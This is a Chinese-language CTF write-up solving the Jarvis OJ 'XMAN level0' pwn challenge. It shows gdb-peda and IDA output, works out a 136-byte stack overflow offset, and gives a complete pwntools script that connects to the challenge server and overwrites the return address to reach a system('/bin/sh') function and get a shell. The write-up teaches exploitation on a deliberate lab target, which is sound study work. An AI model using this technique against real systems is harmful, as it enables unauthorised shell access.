XMAN-level0

Jarvis OJ 平台上发现的一个 pwn 题目系列:XMAN。
本篇介绍 XMAN level0.

题目可以在 Jarvis OJ 平台上找的,这里不再提供下载。

首先使用 file 命令查看文件

file level0.b9ded3801d6dd36a97468e128b81a65d  
level0.b9ded3801d6dd36a97468e128b81a65d: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8dc0b3ec5a7b489e61a71bc1afa7974135b0d3d4, not stripped

程序是64位 ELF 文件

使用 checksec 查看文件保护机制 (gdb peda插件

gdb level0.b9ded3801d6dd36a97468e128b81a65d

gdb-peda$ checksec 
CANARY    : disabled  
FORTIFY   : disabled  
NX        : ENABLED  
PIE       : disabled  
RELRO     : disabled  

程序只启用了 NX (栈不可执行)

用 IDA 分析程序,发现一个函数明显存在缓冲区溢出漏洞

ssize_t vulnerable_function()
{
    char buf; // [sp+0h] [bp-80h]@1

    return read(0, &buf, 0x200uLL);
}

同时发现一个 callsystem 函数

int callsystem()
{
    return system("/bin/sh");
}

因此只要构造 payload 覆盖返回地址,将程序转到 callsystem 函数处执行,即可得到 shell。

接下来确定溢出点的位置,使用 pattern 来计算
首先生成一串字符串

gdb-peda$ pattern create 150
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'

调试运行程序

gdb-peda$ run
Starting program: /home/xxx/pwn/XMAN/level0/level0.b9ded3801d6dd36a97468e128b81a65d 
Hello, World
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA

Program received signal SIGSEGV, Segmentation fault.

Stopped reason: SIGSEGV
0x00000000004005c5 in vulnerable_function ()

程序崩溃,出错位置为 0x00000000004005c5,继续使用 pattern 计算溢出点

gdb-peda$ pattern offset 0x00000000004005c5
4195781 not found in pattern buffer

pattern 报错,这是因为 linux x64 内存地址的范围为64位,但是可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。虽然程序不能跳转到那个地址,我们依然可以计算出溢出点。因为 ret 指令相当于 pop rip ,只要查看栈顶的数值就知道程序要跳转的地址。

gdb-peda$ x/xg $rsp
0x7fffffffdc78: 0x41416d4141514141

gdb-peda$ pattern offset 0x41416d4141514141
4702159612987654465 found at offset: 136

成功计算出溢出点偏移为136字节,因此设置 payload 为 ‘A’*136+ret 即可

此外,可以直接阅读反汇编代码,计算溢出点

.text:00000000004005A6                 push    rbp
.text:00000000004005A7                 mov     rbp, rsp
.text:00000000004005AA                 add     rsp, -80h
.text:00000000004005AE                 lea     rax, [rbp-80h]
.text:00000000004005B2                 mov     edx, 200h       ; nbytes
.text:00000000004005B7                 mov     rsi, rax        ; buf
.text:00000000004005BA                 mov     edi, 0          ; fd
.text:00000000004005BF                 call    _read
.text:00000000004005C4                 leave
.text:00000000004005C5                 retn

从 vulnerable_function 代码中可以看出,在栈帧中缓冲区在 rbp-80h 处,因此 rbp 相对缓冲区的偏移为 0x80,返回地址的偏移为 0x80+0x8=0x88(136)

使用 pwntools 编写 exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sys
from pwn import *

def main(local=False):
    if local:
        context.log_level = 'debug'
        io = process('./level0.b9ded3801d6dd36a97468e128b81a65d')
    else:
        context.log_level = 'info'
        io = remote('pwn2.jarvisoj.com', 9881)

    elf = ELF('./level0.b9ded3801d6dd36a97468e128b81a65d')
    ret = elf.symbols['callsystem']

    payload = 'A' * 136
    payload += p64(ret)

    io.sendline(payload)
    io.interactive()

if __name__ == '__main__':
    if len(sys.argv) >= 2 and sys.argv[1] == 'local':
        main(True)
    else:
        main()

reference
一步一步学ROP之linux_x86篇
一步一步学ROP之linux_x64篇

0%